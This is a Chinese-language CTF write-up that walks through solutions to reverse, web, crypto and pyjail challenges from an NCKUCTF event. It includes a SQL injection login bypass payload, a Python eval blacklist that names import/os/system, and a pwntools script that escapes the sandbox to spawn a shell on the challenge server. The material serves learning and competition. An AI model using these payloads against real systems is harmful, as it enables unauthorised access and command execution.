前言
- 排名

Welcome
就是welcome 
Reverse
Chosen 0
檔案丟到ida就能看到 
Chosen 1
先丟到ida反編譯 去看看有沒有奇怪的
BOOL8 __fastcall checkFlag(const char *a1){ char s2[64]; // [rsp+10h] [rbp-40h] BYREF generateFlag("Avada_Kedavra", s2); return strcmp(a1, s2) == 0;}int __fastcall generateFlag(_BYTE *a1, char *a2){ _BYTE *v2; // rax __int64 i; // [rsp+18h] [rbp-8h]
for ( i = 5381LL; ; i = 33 * i + (char)*v2 ) { v2 = a1++; if ( !*v2 ) break; }return sprintf(a2, "NCKUCTF{%lu}", i);}解題程式
def generate_hash(s): h = 5381 for c in s: h = 33 * h + ord(c) return h & 0xFFFFFFFFFFFFFFFF # 保持為64位整數
input_str = "Avada_Kedavra"hash_value = generate_hash(input_str)flag = f"NCKUCTF{{{hash_value}}}"print(flag)Kazdle
去看題目的js 會發現正確的是第141個
找到第141個放進去就好了 NCKUCTF{allbeefneedispatience}
Web
Login Panel
如果我們用guest/guest登入的話再跳到/dashboard會因為不是admin所以拿不到flag 所以我們用sql injection就好
- 帳號:
admin - 密碼:
'OR 1=1 --就進去了
Starburst Cat Shop
登入帳號隨便打
先用burp suite擋住 一直按buy,然後全部forward出去,就出來了 
Crypto
Caesar
得出位移了14格
RSA
丟去rsa decoder就好
e = 0x10001n = 94222487035514568148220182471104690931780594128516176949111095868335830867719277805539132735917016524185107312037557600880949236829032793818738351079213184870243702834570026012503355620032058527302541127368383734031131208254140211165705925154251280613034133968327987267589895419787888903387665859859148412543b64_c = 'N5lOVmbqGv0F1UiqdEy+T3Klilrwvp8cCZdLbnKPFWeqP9Mh/nzxtWC00G6GGPxmyMnOGdX9omDgxthlUAQGpaWeAnj84qrzU62Bq3m6RuP0pqE/wub6rMbHeK6gebgcd8GmUDX+gbhuLxtA4Z5+jyoyayi8t2xyCXHFtVXOm7Q='int_c = 39042841328709556214265103020897101350928166266738871446328808453325125686468702532379771433443668090510537708890843833523366699079886852742174164548701470967388728724472159586068406789847736565656024626914080978879991724002842467193318864530876999109696543271802935281934399726950922142641870912695365966772
Vigenère
https://www.guballa.de/vigenere-solver↗ 用這個網站解就好了 
⊕ (XOR)
題目程式
#!/usr/bin/python3.10
from pwn import xorfrom secret import flag, key
assert len(key) == 3
cipher = xor(flag, key).hex()
# transform the cipher into hex formatprint(" ".join([cipher[i:i+2] for i in range(0, len(cipher), 2)]))解題程式
from pwn import xor
ciphertext = '121f0213281b1b011c031a171c0c101c1c11000c08312a1c65001c1a63170b0006170611112e'ciphertext_bytes = bytes.fromhex(ciphertext)
key = bytes([(ciphertext_bytes[0] ^ ord('F')), (ciphertext_bytes[1] ^ ord('L')), (ciphertext_bytes[2] ^ ord('A')) ])
decrypted_bytes = xor(ciphertext_bytes, key)print(decrypted_bytes)Nonce Nonce
加密程式
#!/usr/bin/python3.10
from secret import flagfrom Crypto.Cipher import AESfrom Crypto.Util.Counter import newfrom os import urandomfrom Crypto.Util.Padding import pad
key = urandom(16)iv = urandom(4)
def encrypt(plain, key=key): ctr = new(128 , initial_value=int.from_bytes(iv, 'big')) aes = AES.new(key , mode=AES.MODE_CTR , counter=ctr)
return aes.encrypt(pad(plain, 16))
print(encrypt(flag).hex())print(encrypt(b"TSCCTF" * 6).hex())解題程式
from Crypto.Util.strxor import strxorimport binasciiciphertext1 = "a2dcf363fb24aee5fb6f56946710be19b9973e009339b5af3f6072985b3e51ab9162db9c5198e96f5ac81f14226b1de3"ciphertext2 = "b0c3f167d42c95d8fb195d8000168e1fb2b85f0c974ad18d34076e936e1b6e9da052aea75198e96f5ac81f14226b1de3"ct1 = binascii.unhexlify(ciphertext1)ct2 = binascii.unhexlify(ciphertext2)known_pt = b"TSCCTF" * 6keystream = strxor(ct2, known_pt)flag = strxor(ct1, keystream)
print("Flag:", flag)misc
pyjail 1
nc 連進去會先看到
yih_0118@Macbook m774 % nc chall.nckuctf.org 8030#!/usr/local/bin/python3
print(open(__file__).read())
inp = input(">>> ")blacklist = ("import", "os", "system", "input", "eval", "exec", "open")if not sum(bad in inp for bad in blacklist): print(eval(inp))else: print("bad boyQQ")
>>>可以看到是eval的漏洞 但是會先檢測是否含有blacklist中的==字==
>>> globals(){'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f1d37998c10>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/pyjail/jail.py', '__cached__': None, '__warningregistry__': {'version': 0}, 'inp': 'globals()', 'blacklist': ('import', 'os', 'system', 'input', 'eval', 'exec', 'open')}from pwn import *r = remote("chall.nckuctf.org", 8030)p = "globals()['_'+'_builtins__'].__dict__['__i'+'mport__']('o'+'s').__dict__['s'+'ystem']('sh')"r.sendlineafter(">>> ", p)r.interactive()進去之後 cat flag_432rdeoibhedqnjd即可 
google form
去搜尋關鍵字就有了 
Thanks for reading!